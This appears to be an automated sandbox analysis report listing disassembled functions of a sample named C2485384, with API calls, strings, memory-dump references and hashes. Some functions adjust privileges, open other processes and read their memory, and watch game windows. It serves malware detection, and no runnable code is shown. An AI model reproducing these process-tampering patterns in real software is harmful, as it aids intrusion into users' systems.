String ID: 11948$11965$24624$24647$c3b39858cd5cd.zip$da1b4f0857d.zip$ded12271319.zip$j9a03b4151b3e00ffc9.zip$loser.rar$loser32.rar$loser64.rar$loser64_2.rar
API String ID: 2961919466-1613592718
Opcode ID: ae2d7d6b3c11c5869f3a32b9b5bd7444ff76936f65e4e0eeac08c2d22268a6c9
Instruction ID: da25d4387ffb3cf17317d0a0124b314ee12b4e6447e3f05972a2b7545de91b36
Opcode Fuzzy Hash: ae2d7d6b3c11c5869f3a32b9b5bd7444ff76936f65e4e0eeac08c2d22268a6c9
Instruction Fuzzy Hash: 0E310A71A086227BF2369534AC3CB977B9D9F81758F085610EC149B346FB25DE1982D1

Function 0BBD4FE4 Relevance: 26.6, APIs: 6, Strings: 9, Instructions: 319COMMON

Download Yara Rule

APIs

CreateSemaphoreA.KERNEL32(00000000,?,?,00000000), ref: 0BBD50F0

Part of subcall function 0BB77260: CreateMutexA.KERNEL32(?,?,?,?,0BBD5193,00000000,00000000,00000000,.mtx,?,xxxxxx,?,Index,0BBDFCE8,00000000,0BBD545C), ref: 0BB77276

CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002000,00000000), ref: 0BBD5242

Part of subcall function 0BBD4DB0: MessageBoxA.USER32(00000000,00000000,00000000,00000040), ref: 0BBD4DCA

Strings

xxxxxx, xrefs: 0BBD5038
Index, xrefs: 0BBD5025
Mutx, xrefs: 0BBD5080
@none, xrefs: 0BBD51D8
MessageBox, xrefs: 0BBD51BB, 0BBD526F, 0BBD52B9, 0BBD531C, 0BBD5353
.mtx, xrefs: 0BBD516F
$00000000, xrefs: 0BBD538A
File, xrefs: 0BBD5092
.mem, xrefs: 0BBD5219

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Create$FileMappingMessageMutexSemaphore
String ID: $00000000$.mem$.mtx$@none$File$Index$MessageBox$Mutx$xxxxxx
API String ID: 2259750652-816945559
Opcode ID: 05fda851078af424e53da4aa9af9dbd72eda32fa038c884ab526603c8340ad10
Instruction ID: b4c171e85601b6b3201b3f9153b34b9a5dd5330ef93a5fba945d4d0a8b3e8703
Opcode Fuzzy Hash: 05fda851078af424e53da4aa9af9dbd72eda32fa038c884ab526603c8340ad10
Instruction Fuzzy Hash: 93C1D430A802099FDB20FBA4D853BAD77F6EB54711F5040A4E525AB394EBB9DE01CF61

Function 62532260 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 6252CCF0: RtlAdjustPrivilege.NTDLL ref: 6252CD1C
Part of subcall function 6252CCF0: ZwOpenProcess.NTDLL(?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CD5C
Part of subcall function 6252CCF0: ZwOpenProcess.NTDLL(00010000,001FFFFF,?,?,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CD7F
Part of subcall function 6252CCF0: ZwAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,00000004,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CDA7
Part of subcall function 6252CCF0: ZwQuerySystemInformation.NTDLL(00000010,00000000,00000001,?,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CDC0
Part of subcall function 6252CCF0: ZwFreeVirtualMemory.NTDLL(000000FF,00000014,00000014,00008000,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CDD7
Part of subcall function 6252CCF0: ZwAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,00000004,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CE00
Part of subcall function 6252CCF0: ZwQuerySystemInformation.NTDLL(00000010,00000000,00000001,?,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CE13

_memset.LIBCMT ref: 625322B2
ReadProcessMemory.KERNEL32 ref: 625322FF
ReadProcessMemory.KERNEL32(00000000,00500000,00000031,00040000,pK), ref: 62532343
ReadProcessMemory.KERNEL32(00000000,005F0000,00000031,00040000,pK), ref: 6253237E
ReadProcessMemory.KERNEL32(00000000,00620000,00000031,00040000,pK), ref: 625323B5
ReadProcessMemory.KERNEL32(00000000,00660000,00000031,00040000,pK), ref: 625323EC
CloseHandle.KERNEL32(00000000), ref: 62532414

Strings

., xrefs: 625322EB
o, xrefs: 625322F5
1, xrefs: 625322DC
m, xrefs: 625322FA
c, xrefs: 625322F0
M, xrefs: 625322E1
pK, xrefs: 6253232E, 62532369, 625323A0, 625323D7, 62532332, 6253236D, 625323A4, 625323DB
2, xrefs: 625322E6

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Memory$Process$Read$Virtual$AllocateInformationOpenQuerySystem$AdjustCloseFreeHandlePrivilege_memset
String ID: .$1$2$M$c$m$o$pK
API String ID: 3326258801-2780825013
Opcode ID: 06941d693dcdfc05ac1be8791cad6e560d4191b366797a37f9b9577674fc77c9
Instruction ID: 4b216d01b903dc1783ecf11d222f755bc93a5c16e043ff55291ba2345f2a53f8
Opcode Fuzzy Hash: 06941d693dcdfc05ac1be8791cad6e560d4191b366797a37f9b9577674fc77c9
Instruction Fuzzy Hash: ED51D3725083515AD321CA64DC50BABBBD8AFC9318F444A2DF694A61C0E774EB0887E7

Function 62548B0F Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 175windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6254BBC3: GetWindowLongA.USER32(?,000000F0), ref: 6254BBCE

GetParent.USER32(?), ref: 62548B3E
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 62548B61
GetWindowRect.USER32(?,?), ref: 62548B7B
GetWindowLongA.USER32(00000000,000000F0), ref: 62548B91
CopyRect.USER32(?,?), ref: 62548BDE
CopyRect.USER32(?,?), ref: 62548BE8
GetWindowRect.USER32(00000000,?), ref: 62548BF1
CopyRect.USER32(?,?), ref: 62548C0D

Strings

(, xrefs: 62548BA7

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: (
API String ID: 808654186-3887548279
Opcode ID: 95375f29e54e8abc4d22bc3d0de3bbb27bbb616ca23dd22ccdbb0720c39ae967
Instruction ID: 95312e008872c81d32bc45b5705885b51c5d0dba931ac4618d990a20176d90b9
Opcode Fuzzy Hash: 95375f29e54e8abc4d22bc3d0de3bbb27bbb616ca23dd22ccdbb0720c39ae967
Instruction Fuzzy Hash: B6514E72900219AFDB10CFB8CC99EEEBBB9BF88354F054515E915B7250DB30E941CB91

Function 62514480 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 129sleepwindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 625144AF
Sleep.KERNEL32(000007D0), ref: 625144E5
_sprintf.LIBCMT ref: 6251450F

Part of subcall function 62513B40: _memset.LIBCMT ref: 62513B7A
Part of subcall function 62513B40: _memset.LIBCMT ref: 62513B97
Part of subcall function 62513B40: GetForegroundWindow.USER32(?,?,?,00000000,?,75A33610), ref: 62513B9F
Part of subcall function 62513B40: IsWindowVisible.USER32(00000000), ref: 62513BAC
Part of subcall function 62513B40: GetWindowThreadProcessId.USER32(00000000,?), ref: 62513BBC

_sprintf.LIBCMT ref: 62514551
__wfopen_s.LIBCMT ref: 62514565
OutputDebugStringA.KERNEL32(?), ref: 62514579
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62514584
_malloc.LIBCMT ref: 625145A4
PostMessageA.USER32(?,000007EA,00000000,00000000), ref: 625145D1

Strings

pfnFindGameWindowAndGetType return : type : %d, pid : %d, xrefs: 6251454B
input gametype is : %d g_bFlagChoseMode : %d ,g_pThreadInfo->bChosedFlag : %d, xrefs: 62514509
C:\pl.txt, xrefs: 6251455F

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Window_memset$DebugOutputString_sprintf$ForegroundMessagePostProcessSleepThreadVisible__wfopen_s_malloc
String ID: C:\pl.txt$input gametype is : %d g_bFlagChoseMode : %d ,g_pThreadInfo->bChosedFlag : %d$pfnFindGameWindowAndGetType return : type : %d, pid : %d
API String ID: 4187338559-3777402096
Opcode ID: f70472a03f226bee648fcf86828b7b0db145c4442c071690b287725fd11926a1
Instruction ID: cfb99fb667197aa4aff8621d9a2ceed7c97de023de91b29100a97c1d66a1207b
Opcode Fuzzy Hash: f70472a03f226bee648fcf86828b7b0db145c4442c071690b287725fd11926a1
Instruction Fuzzy Hash: CE414A71504310ABE730DF28CC55FBAB7A4AB8A70CF011929FD5557291D774ED40CBA2

Function 6251E6A0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 161networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6251E6D3
select.WS2_32(?,?,?,?,00000000), ref: 6251E70D
recv.WS2_32(?,?,00000001,00000000), ref: 6251E74A
_strncmp.LIBCMT ref: 6251E7AC
_swscanf.LIBCMT ref: 6251E7DD
_swscanf.LIBCMT ref: 6251E825
recv.WS2_32(?,?,0000000A,00000000), ref: 6251E86F

Strings

Content-Length, xrefs: 6251E80B
HTTP/%f %d , xrefs: 6251E7D3
HTTP/, xrefs: 6251E79F
Content-Length: %d , xrefs: 6251E81B

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _swscanfrecv$_memset_strncmpselect
String ID: Content-Length$Content-Length: %d $HTTP/$HTTP/%f %d
API String ID: 2492379719-894279545
Opcode ID: e5a8b8902b161184fe44f817d2902ad1913522dda241dd563bd80f7cbde89cba
Instruction ID: 947d0c2fccd145e3ac87bb9d90ef763771ac64b3e25b33c23c87ebbf389acb53
Opcode Fuzzy Hash: e5a8b8902b161184fe44f817d2902ad1913522dda241dd563bd80f7cbde89cba
Instruction Fuzzy Hash: 9A51C27090C340AFF370DF28D8A4BABBBE4FF95318F40492DE59982551D7349944CB52

Function 6252E670 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,6252F4B4), ref: 6252E685
GetFileSize.KERNEL32(00000000,00000000,00000000,?,6252F4B4), ref: 6252E69B
CloseHandle.KERNEL32(00000000,?,6252F4B4), ref: 6252E6AC

Strings

WeDlq, xrefs: 6252E72F, 6252E744
wsdlq, xrefs: 6252E756, 6252E76D
LyDlq, xrefs: 6252E703, 6252E71D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID: LyDlq$WeDlq$wsdlq
API String ID: 1378416451-3202960832
Opcode ID: 40481eb7742548896479c13bc355534b5cfaf12267a149d357c46940daf86ce5
Instruction ID: dd8fd778b74348768198bca25e84d45ca0c7df27c928915c827fb11400524c3d
Opcode Fuzzy Hash: 40481eb7742548896479c13bc355534b5cfaf12267a149d357c46940daf86ce5
Instruction Fuzzy Hash: 7A314D727551102BD231563C6CA8BEB3BA9EFC7375F284A35F952CB1C0EB61A8054262

Function 62534AC0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 62534AF3

Part of subcall function 62534990: WSAStartup.WS2_32 ref: 625349F1
Part of subcall function 62534990: gethostname.WS2_32(?,00000104), ref: 62534A01
Part of subcall function 62534990: __strlwr.LIBCMT ref: 62534A0D

_memset.LIBCMT ref: 62534B16

Strings

1, xrefs: 62534B65
B, xrefs: 62534BC8
s, xrefs: 62534BEE
e, xrefs: 62534BE0
k, xrefs: 62534BF3
a, xrefs: 62534BCD
t, xrefs: 62534BE5
u, xrefs: 62534BD6
n, xrefs: 62534BDB

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$Startup__strlwrgethostname
String ID: 1$B$a$e$k$n$s$t$u
API String ID: 4043451516-1518658690
Opcode ID: ad3229876b6fee175087f41ab2a87d3240d9aad35adf99b93af0a3ea1ce04889
Instruction ID: fbec86fc9536f64f257278da836e985d270ff7f6fdc4beb9240313eafbc63be1
Opcode Fuzzy Hash: ad3229876b6fee175087f41ab2a87d3240d9aad35adf99b93af0a3ea1ce04889
Instruction Fuzzy Hash: 6B41707100C3959ED322CB249464AEBBBD9AFD6308F045A5DE4D887241EB659A1CC7A3

Function 0BB77D08 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61registryclipboardwindowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(MouseZ,Magellan MSWHEEL), ref: 0BB77D20
RegisterClipboardFormatA.USER32(MSWHEEL_ROLLMSG), ref: 0BB77D2C
RegisterClipboardFormatA.USER32(MSH_WHEELSUPPORT_MSG), ref: 0BB77D3B
RegisterClipboardFormatA.USER32(MSH_SCROLL_LINES_MSG), ref: 0BB77D47
SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 0BB77D5F
SendMessageA.USER32(00000000,?,00000000,00000000), ref: 0BB77D83

Strings

MSWHEEL_ROLLMSG, xrefs: 0BB77D27
Magellan MSWHEEL, xrefs: 0BB77D16
MSH_WHEELSUPPORT_MSG, xrefs: 0BB77D36
MSH_SCROLL_LINES_MSG, xrefs: 0BB77D42
MouseZ, xrefs: 0BB77D1B

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: ClipboardFormatRegister$MessageSend$FindWindow
String ID: MSH_SCROLL_LINES_MSG$MSH_WHEELSUPPORT_MSG$MSWHEEL_ROLLMSG$Magellan MSWHEEL$MouseZ
API String ID: 1416857345-3736581797
Opcode ID: 9bbfcff3b26b555bdf976e97b25294c778ba64590a67108bc03c84a75cc35078
Instruction ID: f039b1c52c8a1fb8231c34195e3235c678b2d71a8ee27a176fecc91d09d8da7f
Opcode Fuzzy Hash: 9bbfcff3b26b555bdf976e97b25294c778ba64590a67108bc03c84a75cc35078
Instruction Fuzzy Hash: 431100B1285305AFE310BF5ACC41F7AB7E8EF45750F1084B5A9659B350DEB05E40CB60

Function 6252EB50 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 185fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,6252F4D2), ref: 6252EB65
GetFileSize.KERNEL32(00000000,00000000,?,6252F4D2), ref: 6252EB75
CloseHandle.KERNEL32(00000000,?,6252F4D2), ref: 6252EB83
_malloc.LIBCMT ref: 6252EB94
CloseHandle.KERNEL32(00000000,6252F4D2), ref: 6252EBA3
_memset.LIBCMT ref: 6252EBB7
ReadFile.KERNEL32(00000000,00000000,000003E8,?,00000000,?,?,?,6252F4D2), ref: 6252EBCD
CloseHandle.KERNEL32(00000000,?,?,?,6252F4D2), ref: 6252EBD4

Part of subcall function 62550763: __lock.LIBCMT ref: 62550781
Part of subcall function 62550763: ___sbh_find_block.LIBCMT ref: 6255078C
Part of subcall function 62550763: ___sbh_free_block.LIBCMT ref: 6255079B
Part of subcall function 62550763: RtlFreeHeap.NTDLL(00000000,?,62578B60,0000000C,62557D3E,00000000,62578F08,0000000C,62557D78,?,?,?,62561AC7,00000004,62579288,0000000C), ref: 625507CB
Part of subcall function 62550763: GetLastError.KERNEL32(?,62561AC7,00000004,62579288,0000000C,62558E49,?,?,00000000,00000000,00000000,?,625577E5,00000001,00000214), ref: 625507DC

Strings

PEC2fO, xrefs: 6252EBF3, 6252EC10, 6252EC5D, 6252ECBD
PEC2^O, xrefs: 6252EC70, 6252ECCE

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
